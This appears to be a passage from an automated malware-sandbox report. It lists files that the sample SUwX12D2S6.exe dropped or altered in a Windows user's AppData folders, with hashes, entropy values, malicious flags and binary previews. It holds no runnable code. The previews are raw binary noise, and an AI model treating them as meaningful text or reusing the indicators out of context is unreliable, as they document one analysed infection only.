SHA-512:	09D710BAD1F948915D6FEF7E3318FDF02C4859CBF3279A81FCF8BF412E0268370344828F1C729F2AA01FC3F8CF0C3ADA95AA30ACE0FF7F984FFE1444AF1BEC28
Malicious:	false
Preview:	.PNG..j_lv...YC.[1.C.,e....5.v(...@7....hE........J.W@$....1.N.y.,..ci.Z..W...t..e.7..}u........S.[D:...x........9.R......o.GE,....`....c..%..0..O"...%.\|\|=.....5....r.}"\|W.z......6.."t..>.\|".q..r.zR......?TbA...h...X..''.)...{.Rh$. +.B?.=..!...SJ..n-..h3.[.e..W`.E......]B9n.f..Z}!y{..'....5=.....7f..'.E..Z..f...W.X.......q....\.......<-...~....f..x.<....$O....r.8:XU....g..{J..H....j.+.nsi.q........R..h.?."...?G...q".P>L.....\|.".>.1m:...tIj..H.M........(...C(O.^y../.].v.}.J.....tF......>.M..y.j.6T?.\..y....lWe.[a.#...u.V..}.6H..C....+4G...x...C-.e.~.S~..x.......U..1.-......W..>:....U'....c.....Oj..F}I.\|;...)..e..x.~.Bpk.r....@...7F........W..qm.........L.>...#tm.....eP.OR.5....8.?>1.16.za..../.j.l0{.@CP6...l.XX......i[.].....Ae.....''./e......$.........!!wg...R...eAFj....o......$;C.9pO.....D...jz.07.j..k....%d..TU1.HH....._...^n...U..u......Q...{1.6..'3...\q..(..rv..,....F.O...\|......?...5...^Vus."n..7u.U'....9..<..9..-..<'Z....+.

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\LocalState\PinnedTiles\38975140460\squaretile.png

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	2735
Entropy (8bit):	7.923921576238678
Encrypted:	false
SSDEEP:	48:iut638TIu/WHkZygSvJjF3nHYV9CRI/5qr0jj8WbCnclZ2b/wFCfI20eklstI67a:iut63ylIkZygsYVwI/nj4WdlEb/wofWj
MD5:	455DBCE00E5FEB8EDB65F5A4F853B26F
SHA1:	2B8222D9FA03F95C64C28DC37956FB95DE6D1059
SHA-256:	B5817A2C2DDFA42B14E06158BE372CC58C3B78F557D09458F1AA5659B1574730
SHA-512:	E19E9C8B2046F33264CF4EC6B73D94DFE17020A47EA41E0B14737466BC288CEE4842E4C092A18E277F0E8EB447ABA9504DCD9A2F0FAC9CC84E3AA6462253932D
Malicious:	false
Preview:	.PNG.dz...i.c....o#0......EB...{.c..>....{?.?..1.i....nw....TC.p.`..}.[-Zp#"l.oY..S.4T.]...n..4>..+..?...?......l..h(.}...MF.`.b...2z........2..e.N.......(.9.....b...;..l.aX.e...R..>..?.m'.........^..}N..m...._.s..7.....YA~bv.RJ)B:.`,...h.i\...!..6..p.\........g..Iul.p.H.d\..!.Iz.0M...>1...u..$aA.5.....#d.{{..9..........L.......R.$N@........M..t._lV5g.V.N..H!.........)....Q.".L?....tm..5}.............@.0\|)....\.......t...M....T;=..6x.K,_.2V.-...=5V.o8._-A..OA...B.&...8.=..5.H4.. ..%........vH./...)..4'.K..-/..).n..Q.D.....0..Z.7..Hw_B)..".. ..O....!..[f./...6.h...jO3.PWn.9as..l.B..&@..6d...&#.)..G..k..XUB>.Y........J..X... ..W....P.f..D.#.fzP.'...a......K]..8..\|.g.......X.Uhh...\|....,..U.......'..VU.?.bT....R.2.f.w..Q.Y.Y..Jir5..+.........:oP.%..S..J+;._..j.NV..s.I.d-........A...L.tL..-<.4Rh.p....u.e....-.].dO......}.t..o.M............).3e.^a6.Fx5...q.fW...3k...........#\4.2w...\..v.*.i.......c]....g.\|..~.0C42.)}R...e.n..q..u.8...

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\LocalState\PinnedTiles\38975140460\tinytile.png

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1911
Entropy (8bit):	7.900474618481462
Encrypted:	false
SSDEEP:	48:A3BNAHtXZXA/2F59/fw6Q6STc2R0be+za6FD:mL4Jw/w9/fw6QmU0bJx9
MD5:	29276521B822DE150AC076CC95B9FA00
SHA1:	27C20D440DF26DC3CFEEAFD854FD6D4C648EBA46
SHA-256:	2E5F0FE602B53125A269E105E4DD2D5EF63B657F6472E51E72E67A466DB97F6C
SHA-512:	DD7FAA377C90B732806E0ED056E9F6AB51DE489CAE12A45661AA1A416A87B3CE690DA7616F36114639454C42850B0735EDE8438D564E90B4662CBFC231B7169C
Malicious:	false
Preview:	.PNG.W.4........_.T.0.{.AI]...z.t...&.?........C...~..lP..W.Xc.-....N..K....DO`..z...\...l-...U...jA.m,.?Y.Z..T8A..5.'\|..w..G.q..9.".2b...:...........1..G..[7..k([oFA..h.,I)[..@.......K.............f..z...-.....M$..9.U./K].....\.q..:..0m.....0.J....7..."j..T8>_rs....>....dzJ^....i..JN.w..2`:,.....H....e...U.......ZP6..K!...b...:.X-....N....-yr[......$.L6.......3.C.0.._~.QMYn.`...H....$.T....~..~..#M.a.H..o..G.[}......:8K...S..E..z"..N..`Q.e...4..1...T.....i...!..6...]..Dwd.h.=....4.....;.l.,..[...[gV..I/....j..K...?.....lC8.Y..W`....N.d.o.....8...z.._&..p........u...e...?.{.c.r.}..X..\|..C..'s..W..n..RD...Q...T+..J~..I.@...}.`.S.}.`0....U~cw<..Z5..>\|.@nP.`f.+..B..... I.:..HI.jZ...\.r.. .K+..\...2..=".../....._/.b..2-:..$>I9.}k<.Fm\....2$.......[8.....3d....q.. .......Hl...!....1..._.B)}....f!....4GX.E;^.....dy.tU.........?..q..D/..{s.....k.3.z..a.&..{.)cz.!.{S.....:.....W3.h.o/.%Bx=...Gs.\|..la.Vs_l....L^x'U......>.-Bf...#.......TU.

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\LocalState\PinnedTiles\6501008900\squaretile.png

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1887
Entropy (8bit):	7.904428912174222
Encrypted:	false
SSDEEP:	48:vNys2ZzwYN6d3xwlsjjAnlvZFllCWTUX2UwQmjDQmWeG5TiFD:UszYNexwGAnlRLAB2PVj5DG5Ti9
MD5:	4E0EAEFE0A38AE2E746EFD80C8F7F0D0
SHA1:	34725745682376070C047DBA9D79C3D3B614A938
SHA-256:	97FA64904B7E68B4D60F7AF19EDA25A2DBB535695E6EF911FE388F692CE5DCB9
SHA-512:	2EE50ACA498A3BA2CD6B23F8264A494B1AF681B92EE514F1286A2CF84A41AABD8260A3333E3EEB5AD0C9BABBBEF9BF62F533ECF92D11573FFB89B7734662E8A8
Malicious:	false
Preview:	.PNG.....4+...._....6Y....E.:..}.....2.`W.~..26...l......N.c).K~.......n..>.b...D7,.H.8.!.=)&.%Z....~.....iE.i...l...`.T... ~.a2...e.O^R.......sm..0/.>..VD.i.'.SO..F...7..&.......2F0l.i15...G....V$..+...f...Dhn-.......{...c... ...qk.@1{]..2j&s.}^.l.....n._Ih<.\..^....U..Ll^s........l.T.-p.. .b;..r.\.....g....e.H...n...?...m.;.D].Z...d.Bhxm..2......:wZt_.e...Y.P....$.....+...o......j.{G..2l.3...$Q..........4\|....gLh.RbL..t..hN../.J..#.hH..O..^\|.0.c..M6Y...ywU.<{.(.\'.....,.......UdZ..I........L(.$-W07.....n........S.H:5\6.^....Z...1......!n..M1....aD.ol.......q...9`.cvD...W..._..dY.rT...=....j.s.&.. ...R3..r....WT@....k..$.57...#0..5;..a.d;(.\|q...1]..0...@.O.A ..._{....xo..".br.at.e..g.3#...#t..".'...F.kc.. ..)jVnK%W.5,6Nh..{...?;w5.Gb..L.+.YD."..&\|..O....M.DQc.....'cu..........kEVu.q.u}....<.\..P{..:._..n...u.K.G.d...qga...><^..~.r.$^....r....f..mv.D.....S......8P.J..z.&..{...3.x.2].E.4....u.m.~:.........X..>...Q..dut..j..w.h...q...

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\LocalState\PinnedTiles\6501008900\tinytile.png

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1447
Entropy (8bit):	7.84545116616585
Encrypted:	false
SSDEEP:	24:3yKxipg8VNwyrRf2Zzsf+4UQ3N/ws27F4MMAQghSEr/rV9EfOR3MFIogRZVbD:vCj1Ozsf+ZQdRM2MrQOSErsfORcLEZFD
MD5:	F31B6D8A148819D7E47463A1C13B1D2B
SHA1:	AEEE680AE944FA921AD45413799024959EF541F9
SHA-256:	47E09396C52186B9229B3D19D633C2ECF8371B9A7E39938A070B0581FE06BEF5
SHA-512:	00229047D21D7D1528BED6E1809A91D4831DA44A4CECFD1076F4A272520965833798A54FE6D38628D5CE7C740D2D0A75DC16B75FBFEDCCC5E2809AB622BF1723
Malicious:	false
Preview:	.PNG......d$...0..Z..~OK..HxY..K#Hn!9.xiC<$.38`.n..(C...d.3...A..6.g.g.w..v.9.....w/.{.J4g-......u...C:@..1.....?>.=.....u.. ...ce.!n1.@.j.gB..R....h.'.....eZ......B...R..e.0.Ut2C../TY.t.0cc~..].U.B'.$.n..&...1Uq\|1.9.y.2......%.".vFR..z..Bv......lh@.l.....F.s......p...N.=j{.AHeW...1.(....O..u.?.....O..t.!.t..%4.....nw...P:7....yJ!.....}A:.....U>...qw.>.Aj.&..=p.CT%...f..d..i.!.A.6.....r.V..l3.d2S...L.!.4..n7...[..A.=.n..#.E-i.'l...j!....f;..ZEk.4&.`,.E.....Wo.8.*..{."...7L@+N7....@.....X..%.....&0/E.cU7.c6.s_.h3K.]1d..g...5.V.......!=.;H...2.Zxl&S..)Y..<2K....n.O. .EU.F.e...p..ru.i....{.RqC. mo..1...f.L.i...7..........[...vIZf.h...lh<n-j?#8AZ.....O.`^......B.{pu...'...{@er=XNUec.a.;...u.a5.^...3Wr^.?.\.a..IQ..C&..]}.e/.....VKr.$.._c.....@.':.r....L.<XR.#.6.9...[......Q1-.....l....a.^`._....l...D.=l...3...6&..i...Bq.....!.N.{.`....5#.4.l;.._.R9.K....`..$C.-....6[.h...A...7jE...&s.g.?..eJ.(..!.YM......g!.V....S\|..D...W...+EP..#...)..I

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\LocalState\PinnedTiles\7603651830\squaretile.png

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1783
Entropy (8bit):	7.895533502864734
Encrypted:	false
SSDEEP:	48:0rhHUmD/PsK1YZrZ66ByVS9t5CqNfTwvwqenBZFD:0r9UmzDyZrZ66c49t5CO73qsf9
MD5:	EC19CC8923E2D6050101511736D06960
SHA1:	5132A964B4F40705DA2328C3DD137D92401C634C
SHA-256:	99669B6C90FF6F30C5A6A2760B4E52025E51B9AC1A75BEF89C71AD8F2B2E0A7B
SHA-512:	3326EE8FCFC448E14333DC6D069C411391E39EC882BBF3CD10528C9DFE53AC57DBF00DAAF23A75C6858424248A5BCC28E17B3C4321CAC0B22F4DF4837F73461F
Malicious:	false
Preview:	.PNG.1....6..\|.(@Z.e3.G.9.\>.q aC.@.{!R..3.>/.j...Tj;..F...H3......Z...`.....v.Y=r.-q..hb.....c..T."..@...S..s.ci.}.;Y..Q.._dQ.$..\m... js.......;.v...#..:1).z.q...u..ir'....(.9,...W.!.3..D.......%~...]t..5.8.)Y.2...-.E..4[&T.x{B..X#N..`...D".A..Nr.0..D..g.ok.Y.h.c...2e..;5rW.wM.-....&g."..[.Xb.U..;..Ti...I.><.X..pSF.....1....K.=.0.H.#..%3.w9.K..n.=..../..l.........;D..l..."f...~4.R.(.#.>6...Q...A.~\...Wcu.I....5U.S..\|>...n={...[5.TC.......D.....<{U....X.".R.......WI..,...c..@...K/..@.8V...4..3..G..+g..Q...yt.)....#.........tUB'$0..c..h.......B&N...9.3.WL._.v.W.h....+m.f...{.......t.....j.>.7{..8......cB..a.?l...EdzR...#.a_..b.yM.RA...`.....s]K.93J@....W..........L%4.F..p!6...O!f....^-..4H"..SftNu.lC...J.Z.H....Y`.`90t...]y.}...`.....S3,...W.Pm.b]....ct.....:.r...x.\|L..X..7{...m...2~...\|....3....G........@...Y@.m..Z.R.....\..$CM..H...y.. .Y....,.\....8.,...72...$...$.Mor.\|N..2..Ue..].~.#R.#C....R./0..mRbO...Iad...C..N.A...7.oe/..C.

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\LocalState\PinnedTiles\7603651830\tinytile.png

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1394
Entropy (8bit):	7.862396180688668
Encrypted:	false
SSDEEP:	24:ovhiFbvQiTgk1jl4XQxma4uvaRB+fXOFTt6RFbpy1wjsPgwZy0rVbD:o2E4JH4XQxmatasXOV4Rtpy1wjsPgwZF
MD5:	2B46650076B06B1693233BEF6CD92425
SHA1:	2500659DBBCA7F6F1EECF4088729FD82FCB54196
SHA-256:	47BE90B5DF50D8DB649162F67B32C196CFC515C13BEC0E215746B6F7841F3F6F
SHA-512:	F0B243AAB847D258217875636B1CD8C1FAF96A16DBC60B25E585A1DC5DD26123F5C7E0D29F793ECC36CD56BF9EA5E1CF9C57D850EDF2E3F5922EE132B22B9E7E
Malicious:	false
Preview:	.PNG.).`)......W...@.<..;:......I..+5-.j._....?F2....8..c7.....M...'.....5...6...R.=T.D..z.....bsu.X..=s...r....M...:r...<>q.w.n\....n.p..8N...{.\...3gT.)...k...;...W.\............B{.4.x...Elm.v.]N...~.......w......E.X...c... .jp.....,.yD......v.....+..q.+..w7..}..^T.......q....Li%&R..}.......(.4...Yo..\.UC..@.x_...Yw.9.../d..P.Q.ONxW.k....m,b.i9.#.gF..h.U'.-.#.c...B....s.x.3......E{i....Kn\|<..;o[.I~...RLa.<..cd.3\|...9.u.}"..9.v.....k.....`..../.n.X5.,&;..5...._..'.Sh.op!.h.v{iUn9...:`......-.-a2.v.cT.j.....,B.P.aB..N..5....K.......t...#54........}-uT...H .r."6.:Y.4..3}p.\|GM..0\./w....9i.<.>.......:[.{..nn..r.4........q.Ax....@...Y2...ko..%...gD.0kX....^....g.....=f....f..Lt..R.`.a/.......W ..{.....e..?.o...~.......[Iq}..}.3.S../..5P.T.\|S];fV....i..(....H.v..B.}.D.<O...,K.]k1....w....7.....W..9...!.}p.^?..%.;r.........Q.]O#\...cg..f.....t.8.X.=?..bN..[../..8H..f.h!...DL .........y.D0..$..s....`..*...T..../.)..4>....\..

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.978562275908217
Encrypted:	false
SSDEEP:	96:NV9AXtE5O7F6L0XuUn5xwVA8J9OblODZ7KI2KbVegT+bUXSi8V8bsNXG0JQA/U05:NVKXT4LDOXwV2ZOsItgF7QyVaZf2Es
MD5:	181BD23B9737BFEC5B5EED176D0EC9F0
SHA1:	BD6E725940674E1E61F1D6FBFEE058E714970037
SHA-256:	7A7082BA6274E09FC94D979B248B9832EFC7994AC72482F4459299AA4DFB4951
SHA-512:	22EB5893E99C24D73825DC1A0CB14F17FECC99305B93BD2D3ACB6EB952EE878F2D7A572FDCB3FCCD251572F1F65091F66366662E892AE0782B373C244D04C584
Malicious:	false
Preview:	regf.L.....<6ul.c..cm.-p.......v.EO..u(..=..N..e..wd.?..x..P....X.{X.....4w....6.y..+,LS....\....u[.....p:.hA...?(..}.Z.AY.$HR../y...=...T.!.I..L.a.. (ZU3.\|.m.b..9..@4'.x'......N.x.g.h..m.. ...wn......ur.Z..<\|.. i.o..L^L_..}....}U.M-.6V.c.....6.K.k..X.}a.."j.9...{.Hjv`_..Y...0M...)..<...{........0<>..b).n.."-u...=.m..8...A.7..;.......cD.ZU.{\|.B...{.P....._T](:$.:.........m.f..(...k..Q..(...K..adQ..y..%..)..D....&..?[8...-K........G.......5#.Lw.h..o!g..x.b..a..D...S.......^1..J..l.<.j. %y.$Mo.6.......;r..+...ac..t=........{..>{.m.......I. ).~..,..W...2..<...2..3.jr.r$.9h.K].>V..\|\|......(.E8...4.j.....U\...y..Ea>.SD..Z..E...3...."...5.......`.nA...2......2.]V...K.Z.^R..w.}4W.y....y...4..L..P"eu...:n.~.,...J..:y...@p...~.M.wV...6....w..F...R.>.}.......xP.xmwg........^j.U%.C..W*.\.k.n.@W.........'.!.q.a.T.[.........f9T...M..t....s.7...t.....9O....U%.q.,..U .A$f#...............m`..m\...lk {LC[L.9.hz.q.<p.K.p=.T..u.9...?.q........ng.f;!U....

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AppData\CacheStorage\CacheStorage.edb

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1573198
Entropy (8bit):	1.3859981943107302
Encrypted:	false
SSDEEP:	3072:clc5D0JMwNc27yULr3LUOytih5SnJSqrnW5DaPRBe+u/oU5JayZRuQayZRuT:cG4Jnl7zTUftw5SJSSW5G9U5nBc
MD5:	62ADB9C7F3AC836891FFD8E7D9F7B839
SHA1:	A105EC139824009F60BAE35EC2127C7CB95EACB4
SHA-256:	BF4FA7D20F36687053EA5685BD5C14D5D85BF8C8224F6A66BC2C3F2135F33D6A
SHA-512:	DC59337A50AF53EF5B11866A271687E9F549A48D0F751D38AEDCC3E2F45F644D8D0A86BC749E4E9F405324AD01B5B5262D8D98627C365AB6FECA62F4AD6F7288
Malicious:	false
Preview:	o.....+Q.K..:..!.Yc...\..fq....q..1p=...z[...-.=.........L.....E[..D.`...<.../+........M.[ .....b.15vu......S...q%.N..ZQ..u..x.g.....\|.N.f..a<G.R..mo7..s.G.$i...j...pvz..U.q..;f..N.b@..+.@@\...(.i.K..4 ..;Q.o...Q..A.T...Y.^...Z1...zC%........NO...'\.1.Y..!.Xx..."3<.j].K=..H~X..A..."...6....rqf..&kN...;...'..zu..2..b.].".....H...q..._.@..#Go...,.8[..+z..V.t.Y....e..."hU..R.../..o.^.l.W..Jh.!lh...~-..s..d..1..{~0....H\|.nI..}.....@.t.z..5.m...u.cV.C.a.=.......O.^E.L.7.........q.6.))b.....d...EX...d..=7..aB.....;...!...8..i..R..?.C'.......0....n.n.....7kt.s..b".A.$S.UUmo>.P=...m....Uhe.`.....\|....w.l..<Y......3W{z.(.O.l..u......ZQS..^.!.......9E.S.....c6...u..l.;._.)........A.s.gA?F..8n../...[L.]........\|p..U..;.B.xm..K......w!L.Jo..a.e....Q...e.Fo.\t.>......o,v..}`.X..e.,...q.qhA.\|..G8:H..r..e.m.PU.....m}...?9..9J...+.0....Y..qW..\|..Rc.92e{.cs.1.a....u....%..z.E....Fcp.sg.eYg.% W..?...%......W....S%.&..1..m......+.s.=\....u...,..rb..[^.

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AppData\CacheStorage\CacheStorage.jfm

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.98896331745925
Encrypted:	false
SSDEEP:	384:u5woi5KLaSCFP6d60WWnSuFNV1lx3gBgURqyJYWWRU05+j22SHE:qlGKLTI0NFZgOyrJvWV5Y2q
MD5:	73628C66C5E5247DE62D72A47A965347
SHA1:	495BCEAEF2F18832B8CD09295B2BED1522BD8438
SHA-256:	BFF3C6C0711D0CBE202E76A881161F843241F54ACB2E61337ECE3E22E13BE434
SHA-512:	59A0C181D05F460F86E04FC60CD25042035F3D7C8E0EED740001894BA6B1CDE138E3F0298CFC3A0F097E74928674045A30581C6E8C16C39DB25EE4D0ADCF8AAC
Malicious:	false
Preview:	......t.....L....<.I.."k.2.p....9.......a.......!...~R%M\..X..@.... c.......+).K.]..N...4.u(.&.K.........~t.!.6a=.H..L..M/,Z.YYn.N./.4..q&e u..b.._>.t.RC].8v.BH. ..+R.....?.O..^.G.(^\|S....k...~......r.a..U.:...".;..M.g...X%..O..m.;..d....@..`.@4...7..Clle...F..e..D.R...>).I..`.I.b........j.et.9.k,.WHM.....c....<...lqx........e.I#.."rH..l$..2....W..~L.1.H...,..t%3YRVz.7.J.t......\.k...}...r/....3..%....z.../.e....Yo.w..c.h.7..>....q..N..r..jJ8...g.[\)..!...H.V9j...vg.p.3&....3:.7......#j..:.1W.4..1`."...5.~w:.29.!.\|j.A.....-4e..np..vk..#......e..4X.....}(....\/.-.......,.I.p.fT.m....v..3H<..n5Uw.F.G...]....'....2.......WR.h..r.hp1$9.i.S$....O;f..R.&.L9...<..oy......j.O6.2.P.."..Lz[..4...\..AK*....)CTr..C.....IU.=..}"....`.....]`.=..4......[.0....T~.l=6.b..-.....j....iN...l.^nr{....52A..4F....g.F....-JD.yu8y]..&X&.hSvR6yT.F.&...7P..I..=./G.....k8..:..;.....?....c.$.`.>}.F.K...v...U..,.R...e..<c.....&.c.x.V....W...zU..F.... .Y..#.T.._.+ME...

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\LocalState\ThirdPartyNotice.html

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	107523
Entropy (8bit):	7.998391796171724
Encrypted:	true
SSDEEP:	3072:dUrR7c/boRSgBcV88ugJ2wOylD+mGoDBJd1Ncb6R:oRYcSgBnMLcOR
MD5:	A5ADE7299CC77CC7C6E443D7705FCA84
SHA1:	F66B234CEADC959A117CFA3DD18592D4B2847A9C
SHA-256:	86D0C10B8018E1040937A88F6504760E1AC0D829E65A28A1BDEE8E32191732D8
SHA-512:	DD7623D02B24CDDA69F1FFF495FA49401D41EF8A32E0916496332726ECD082F9CD7A28261D541E3B6E4E34CE6CD7794AB7C749E464461F573AE915189581E843
Malicious:	true
Preview:	<!doc&V..fg}n.3v._.y..-..f..A..;JE..J.+../"....F3`E.a...D._.rH........7....<=rK4.d.O...AN...L..r....J.u.....j.6/.D...._....R-....+.\Ay...T.B.s..".[.{t....6.P.x...6..<}....L...z.&..('.Zd...E...8...6.M...j@...`m.A.1.....p..9].:.....;.C{6-.%..5..8.Q$Z..<.....Z.&..Q.....9......S.z...n...B'Z..n.$...kR.......1#&.X...7i.'sV.,...%.1+)..PnR.[.j5.$..-.-..frD.Y.............J.0W..D}...[,....T.=.X. ...V.1R@......<:...!9...[....~.:.....H....#...:...hc.....Q.u}.an..@Gy.e...u.%..,..k..3Si..d..I.......Yp<..l.s..3...A9"...H0...U ......#.B.n( ....V......y ].;..{m..}..Ht.z..[.M.D..L>.o...L.m...(]....'..:...T.f.....].M..B..S.x......_B.......k..dq.-.xtb.z{.f....X..<?E......!P3t........3V.1.."V.Ag.....<.s.....o&.... .X............H6.U....~.......ot......+...26w..."Z\..5L.@z..../.jf?m!..w9...?.....rU.\..8."...\I.I).......t.Ib..8.B.bQ...K\..4..]+F.....sO.j-A.....?....83.......TKd...pt.hC...]*.{..X..=i+.....(.5.........}Z\...%.U......kDp....AJ.7(W<.LU

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.98014832587167
Encrypted:	false
SSDEEP:	192:pLBxiyVZFixBznvx2XWzldlsRk47GYQ3SvWkzQBPEv3:pLB7V3ovDlddKQ3SvWBPEf
MD5:	C057DCE0818F1289B6E3B1296DD30763
SHA1:	1F7E2B5CFB89788D677CF9CED6E17569B31A486E
SHA-256:	8E9B95B9451E44DA2B616A6EBCEEEDB5280326A7301E51352696B5667FBF6FED
SHA-512:	53B225DA2DA81BDCAB77C87175AD4F9698334CEDD95445C8B568810E946CC7DA6C2709675123BE46DBD2EF85D765634E2163D30FD93E3DEA6E39DC91233A718C
Malicious:	false
Preview:	regf.<..l..O.....4U........5S.%.\B"+xBQ....[.5.{...a!.+......u...f).....+...Y.n3Q0u.X..c.n.M...r....Mu...N.9...E.\|"..k.......f..34.l.l6M.M..+a.b2J....>.K......E.m..:.^Eo.L.......Qc..N.4Z...8....(tk.../\.9D.`.?.N..kJB^..i.6.K.';...C.."?.-._.!......!.K.P...L.._P...#3.".[.Ym.....".=..2.I...BE.../#..J.b...g.S>...VzF...@.Q..=..v~..9.Yy.,:...D..\Dil....{.('#.(.-@.(..G.."..=..~+.....7.W.8..5D.......kB."+"A.y..~....V..wf1..T.9......a4.07=..I.........v&V9......1.P\|..u.}..=....N.s.F..8.;..0....d~/...E.}...3_...GT..~.{.9.N.....[Y4TP....r..=!..EZ..).i.........\^......;.w.0..J...UaB&W...`'......".......L....!{>..N...;g.R..r.r.8..hQ,%.....\|....).Y..e....u...<....<.I..pLPa...H.uB.(K.G.....5b..I...;..?_../..._pK...Va......@<F.....H.F#..-..=)S.o.O....%(.H..[.I......@.t....D?S.c...{...i..o....Z....qDi."(......<L.......K....!.N0.u...........-7..X.ib..)<..-M.Z"C4.,.C..9.........v.....o.t......r.D.qR4[.H.X...G..........u1.(..o...-....Z...d.....e4.....;1.D

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\Settings\settings.dat.LOG1

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.975009475624269
Encrypted:	false
SSDEEP:	192:1W8SPzOPC0sD1riQADxmuWh0r7xB/3tgdjes:+7Oa0OvADxV1FTQis
MD5:	229B916AC3FA67F5723784338A43BC7D
SHA1:	73AD826918AAB1A892EC4F720FC09EBA89B21FBF
SHA-256:	CBFC95BE5931365DB1749B9FD8A0251E31DD7CE3189CC36397C9209F2E5637E6
SHA-512:	F4540B6890D3A668204A243940148194DCE3DB0392FDE89875F5BF1DAF742406F7CE22768D87B245769DC4B63D88152106067BF42012FC640B15218D1FBCB74B
Malicious:	false
Preview:	regf...2,s.....3.......1i^..FZ4:.........!.+?..}./.:<.].Md...K.8N.e.w.:-"....T..Z..)..wA_!U[..#".]rD.I..3.....Z....ls..G.s.m....P.w.^C......1..r\|q.....eH!...Lt.".....n...L<U..I.X..v............4.DS".`...W.y....O...`..x....J8.....[.g.D...+...y.....E...P.......X..n..;O. ..Y;.$e).Fe3..a.I>...1.+f.... ..&..G"D....}..F3j.@.X.H...oV).Ul&...p.O..cp.n...\9..N'...+....B.}.e..w...f.......i..p.....a.....0.(.N..?...H.b.L...<W..G..A.`qy.h...l;...S4.z.....K;......,e='Ve...\|...}..r..\../.@T.'0...y..A=L.\|.Ap....?..B...-....Kl#P..Q.-....Pu.b..C..hDW.....c.,"..z.e.y...u.....B&.L.....G..%.p]....\|..._....A..^..H{G".............=....!8....0.0....N....f[.y.T}.`I.2.....>.{...`m.P....J.Ixf.o}XG._.....Y..w7.e..?...;g.k...$..........=....9Wo.......~..q....p.T........?IK...^)...3....42.n..6.4.i.sAP.A...`.... A8..q.?...(t...h..PH.%dV.Yq...]. &......[....2..V. .k... u.....c. ..tlb.n..G..]..Z......>V.Z....e......K.....[t..........AG....G......a.p#.1.f.

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\SystemAppData\Helium\User.dat

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.9756130431548815
Encrypted:	false
SSDEEP:	192:VxEJOv9jaxg6bKGGEGu3pQSdzhrHX4EvO:VxE8vM26JD3pQST34l
MD5:	107A4E4D588BB6748DFDA8531AEBEF0E
SHA1:	F557682C525F1FCCF66AF52E16CAAF8F020A1112
SHA-256:	03FEED72DB4AB1965258660BDC0E074AFA7469C90D50ECDAC3B4010D8992BA8E
SHA-512:	F02B2C1BAEBC32F95E02ABE0060E9E22CCFC5DDFE16CEB7A69FDF794033209B4763083D8AA4280B7233E190202906320D6FF677E66AED2C34A66473CC2591874
Malicious:	false
Preview:	regf.rsd.v.P....>.+-1....}X.?..T.B..o.&.x..f....$..P.k.. ..}2:.V.s_x.R.L...q......]Z%H.`O2.G...gu5...:...'..QLb..M/=..]6...B.rr(O.D....^h.\.4ke..o....:.#`A;.Bmv...q.......'.e.v......pw.b....d..K..<[..7......H<.!..t..V.n-/.=.K..n....2:k(.x<.....#....;.t....-.^..z..V1..3..(Z+ . W...v...M........B.mH.5m.=].../._.?.Pc\..\...\.d.^.xr.."\|:.....`.J.6C..y......\|A...U.GF5^..N}.....7...i..+.eG.=..T.}..F..hF..........vB./`-..qS..f{.)b.....$.....<....r..su...q.,.R4-............j..L!.Er...[....f...b...SY....l.B.....o.1.l..*Ol.........0..C....m...8.......d..N...s...kK.L.]0A..O....P..../......=..G.r.j..%.XO....$..... ......(.T....R1....i6x......7b.o.y[F..U..>..Q.....I.P...A..l;....../...7...D$v9Zt^...=.+."._.......Z....t>i..I9.....;7C.0R.cp}...fT.H.i.N`..s..a.)b..\<umj.k.........$...0....I.\.9..p...dd.%...?@1ufj.;..)Jt<+O_K..).0..,..`.X(C-.c.8^;K.f.,R.N.....VYw.F..ec....S.#&D.x......q%l....f...#........j)!..m.m...x..?.q.s.c.R'.t.HM/.......<\|s..X...C..w.

